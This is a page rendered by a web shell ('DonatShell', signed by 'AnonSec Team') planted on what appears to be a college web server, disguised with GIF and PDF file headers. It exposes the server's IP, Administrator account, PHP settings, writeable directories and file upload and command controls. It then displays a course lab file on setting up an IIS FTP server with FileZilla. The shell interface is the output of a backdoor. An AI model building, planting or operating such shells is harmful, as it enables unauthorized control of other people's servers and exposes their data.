GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.6/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.6//Lab03.6.phpinc
<?
// JimMartinson/CST2276/Labs/Lab03.6/Lab03.6.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc');
#if ( $_SESSION['userId'] != -1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

#$showGenerateComputerNamesVariables = true;
require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc');

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to install an FTP server.
<br><?=$gradeNote?>
<ol class="count">
	<li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for the screenshot created in this lab.</li>
	<li>Setup the directory for the ftp site:
		<br><span class="note normal">This step in done on your <?=$serverName ?> Server 2019 VM.</span>
		<ol>
			<li>Open <b>C:\inetpub</b> with File Explorer.</li>
			<li>Create a folder called <b class="copyText">ftp</b>.</li>
			<li>Give the Users group Full permissions to the ftp folder:
				<ol>
					<li>Right-click on the <b>ftp</b> folder and select <b>Properties</b>.</li>
					<li>Go to the <b>Security</b> tab.</li>
					<li>Click <b>Edit</b>.</li>
					<li>In <b>Group or user names</b>, click on <b>Users (<?=$NBname?>\Users)</b>.</li>
					<li>In <b>Permissions for Users</b>, check <b>Full control)</b>.</li>
					<li>Click <b>Apply</b>.</li>
					<li>Click <b>OK</b>.</li>
					<li>Click <b>OK</b>.</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>Configure an FTP site:
		<br><span class="note normal">This step in done on your <?=$serverName ?> Server 2019 VM.</span>
		<ol>
			<li>Open <b>ServerManager</b> / <b>All Servers</b>.</li>
			<li>Right click on your server and select <b>Internet Information Services (IIS) Manager</b>.</li>
			<li>Expand <b><?=$serverNameU?>(<?=$NBname?>\Administrator)</b>.</li>
			<li>Right-click on <b>Sites</b> and select <b>Add FTP Site...</b>.</li>
			<li>Set the <b>Site name</b> to <b class="copyText">ftp</b>.</li>
			<li>Browse the <b>Physical path</b> (Use the <b>...</b> button) and select the <b>C:\inetpub\ftp</b> folder.</li>
			<li>Click <b>Next</b>.</li>
			<li>Change SSL by clicking on <b>No SSL</b>.</li>
			<li>Click <b>Next</b>.</li>
			<li>Change Allow access to <b>All users</b>.</li>
			<li>Check both <b>Read</b> and <b>Write</b> Permissions.</li>
			<li>Click <b>Finish</b>.</li>
		</ol>
	</li>
	<li>Install and configure the FileZilla client on your Windows 10 VM:
		<br><span class="note normal">This step in done on your <?=$workstationName?> Windows 10 VM.</span>
		<ol>
			<li>Download the <a href="https://filezilla-project.org/download.php?platform=win64">FileZilla Client</a>.
				<span class="note">Do not download the a <b>Pro</b> version.</span>
			</li>
			<li>Run the downloaded exe installer and install the FileZilla client.
				<br><span class="warning">WARNING: This is a third-party supported installer. You should <b>Decline</b> any optional offers.</span>
			</li>
			<li>Configure an FTP site in FileZilla:
				<ol>
					<li>Run FileZilla.</li>
					<li>Select <b>File</b> / <b>Site Manager...</b>.</li>
					<li>Click on <b>New site</b>.</li>
					<li>Set the name of the site to <b class="copyText"><?=$serverName?>.<?=$domainName?> <?=$user1['login']?></b></li>
					<li>Set the Host to <b class="copyText"><?=$serverName?>.<?=$domainName?></b>.</li>
					<li>Set the User to  <b class="copyText"><?=$user1['login']?></b>.</li>
					<li>Set the Password to <?=$user1['login']?>'s password.</li>
					<li>Click OK.</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>Test that ftp works:
		<br><span class="note normal">This step in done on your <?=$workstationName?> Windows 10 VM.</span>
		<ol>
			<li>Log into your <?=$workstationName?> Windows 10 VM as <b><?=$user1['login']?></b></li>
			<li>Create a text file called <b><?=$user1['login']?>.txt</b>  in your Documents folder.</li>
			<li>Run FileZilla and connect to the <b><?=$serverName?>.<?=$domainName?> <?=$user1['login']?></b> site.</li>
			<li>Upload the <?=$user1['login']?>.txt file from your Documents folder.</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<br><span class="note normal">This step in done on your host computer.</span>
		<ol type="a">
			<li>Take a screenshot of the <b>entire VM window</b> and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.
				<br><? showBegin('See browser example screenshot'); ?><br>
				<img src="images/example.png" width="1000" alt="browser example"/>
				<? showEnd (); ?>	
			</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
<? /**/ ?>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team